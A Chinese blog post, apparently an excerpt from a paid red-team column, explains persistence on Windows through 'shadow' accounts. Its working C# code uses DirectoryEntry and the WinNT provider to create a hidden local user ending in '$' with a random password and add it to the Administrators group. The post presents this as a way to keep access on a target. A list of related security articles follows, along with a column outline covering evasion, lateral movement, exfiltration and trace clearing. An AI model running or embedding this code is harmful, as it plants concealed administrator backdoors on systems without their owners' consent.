.NET 通过系统影子账户实现权限维持

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧。

02基本介绍

03编码实现

在 Windows 操作系统中,影子用户通常是指那些不易被普通用户或系统管理员察觉的隐藏用户账户,创建影子用户常见的做法是在用户名后面添加 符号,例如,admin。通过这种方式创建的用户不会显示在 Windows 登录界面或命令行中,因此常用于维持目标权限阶段。下面,我们将详细介绍如何通过影子账户实现权限维持。

3.1 创建账户

在.NET中,我们可以使用System.DirectoryServices命名空间可以方便地管理用户和组。首先通过创建一个DirectoryEntry对象访问本地计算机的目录服务,具体实现代码如下所示。

复制代码
DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");

协议中的 <主机名>:表示目标计算机的名称,可以是本地计算机或远程计算机。<对象类型>:表示目录对象的类型,如 computer、user、group 等。<对象名称>:表示目录对象的名称,如用户名或组名。比如访问本地test用户,在.NET中可以使用如下代码

复制代码
DirectoryEntry localUser = new DirectoryEntry("WinNT://" + Environment.MachineName + "/User/username");

接着,使用DirectoryEntry 实例化之后对象Children.Add方法添加一个新的系统用户对象,具体代码如下所示。

复制代码
string username = user + "$";
string chars = "!@#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
Random randrom = new Random((int)DateTime.Now.Ticks);
string password = "";
for (int i = 0; i < 10; i++)
{
      password += chars[randrom.Next(chars.Length)].ToString();
}
DirectoryEntry NewUser = AD.Children.Add(username, "user");
NewUser.Invoke("SetPassword", new object[]
{
    password
});

3.2 添加到管理员组

随后,我们需要将新创建的系统用户分别添加到Administrators组和Remote Desktop Users组,这样用户就具备了超级管理员和远程登录的权限。

复制代码
DirectoryEntry grp = AD.Children.Find("Administrators", "group");
bool flag2 = grp != null;
if (flag2)
{
    grp.Invoke("Add", new object[]
    {
        NewUser.Path.ToString()
    });
}

利用系统影子账户是一种常见且有效的方法。通过使用 DirectoryEntry 类和 WinNT 协议接口,在本地计算机上创建新用户并将其添加到系统的管理员组,方便红队持续维持目标权限,想要了解更多内网权限维持的文章,可以移步订阅小报童《.NET 内网实战攻防》电子报刊。

04**.NET 电子报刊**

电子报刊【.NET内网安全攻防】专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

复制代码
1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理
相关推荐
盖雅工场几秒前
零工合规挑战:盖雅以智能安全体系重构企业用工风控
网络·安全·重构
厦门辰迈智慧科技有限公司1 小时前
排水管网实时监测筑牢城市安全防线
网络·物联网·安全·自动化·监测
fatsheep洋5 小时前
cacti的RCE
web安全·安全性测试
hjh198297 小时前
复现cacti的RCE
网络·安全·php
一口一个橘子7 小时前
[ctfshow web入门]web99 in_array的弱比较漏洞
web安全·网络安全·php
Sh3r10ck8 小时前
【Hack The Box】Code Write Up
安全
波吉爱睡觉8 小时前
Redis反弹Shell
redis·web安全·网络安全
时光追逐者9 小时前
C#/.NET/.NET Core技术前沿周刊 | 第 48 期(2025年7.21-7.27)
c#·.net·.netcore·.net core
蓝点lilac9 小时前
C# 调用邮箱应用发送带附件的邮件
c#·.net
wha the fuck4049 小时前
攻防世界-引导-Web_php_unserialize
安全·web安全·网络安全·php